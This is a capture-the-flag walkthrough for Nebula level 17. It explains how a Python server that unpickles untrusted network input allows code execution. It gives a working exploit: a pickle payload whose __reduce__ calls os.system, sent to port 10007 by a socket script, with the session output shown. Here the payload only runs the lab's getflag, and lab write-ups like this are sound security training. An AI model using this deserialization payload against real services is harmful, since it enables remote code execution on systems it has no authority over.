Exploit-Education Nebula Level 17
Exploit Education Level 17
Challenge
There is a python script listening on port 10007
that contains a vulnerability.
To do this level, log in as the level17
account with the password level17
. Files for this level can be found in /home/flag17
.
Vulnerability
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
This program uses python pickle
module. Pickle Module
The pickle module implements a fundamental, but powerful algorithm for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is the inverse operation, whereby a byte stream is converted back into an object hierarchy.
We can see a warning in the same page.
Warning:The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
So it is unsafe to unpicke
untrusted data. We can see that in server
function ,the program is unpickiling
user provided data without any checks.
You can read more about this vulnerability here.
So the vulnerability is that we can run our own code since python is unpickiling
our data.
Solution
We can write a python class that runs a script we control.
import os
class Exploit(object):
def __reduce__(self):
return (os.system,(('/tmp/run.sh'),))
obj=Exploit()
line=pickle.dumps(obj)
The __reduce__
function returns a tuple
representing the command to be run. This tuple
can be easily pickled
.Additional information on reduce.
Essentially what this script does is, it returns the pickled format of the command we have to run. Here we are running the script /tmp/run.sh
. The pickled
result can used as the input for flag17
program.
level17@nebula:~$ nano /tmp/run.sh
level17@nebula:~$ chmod 777 /tmp/run.sh
level17@nebula:~$ cat /tmp/run.sh
getflag>/tmp/out
I am running geflag
and writing the output to a file named /tmp/out
. I also wrote a complete python script to send the pickled
data.
#!/usr/bin/python
import pickle
import os
import socket
class Exploit(object):
def __reduce__(self):
return (os.system,(('/tmp/run.sh'),))
obj=Exploit()
line=pickle.dumps(obj)
HOST = "127.0.0.1"
PORT = 10007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((HOST,PORT))
s.recv(1024)
s.sendall(line)
print line
Lets run the script.
level17@nebula:~$ python pickle2
Accepted connection from 127.0.0.1:58290
cposix
system
p0
(S'/tmp/run.sh'
p1
tp2
Rp3
.
Check the output in /tmp/out
level17@nebula:~$ cat /tmp/out
You have successfully executed getflag on a target account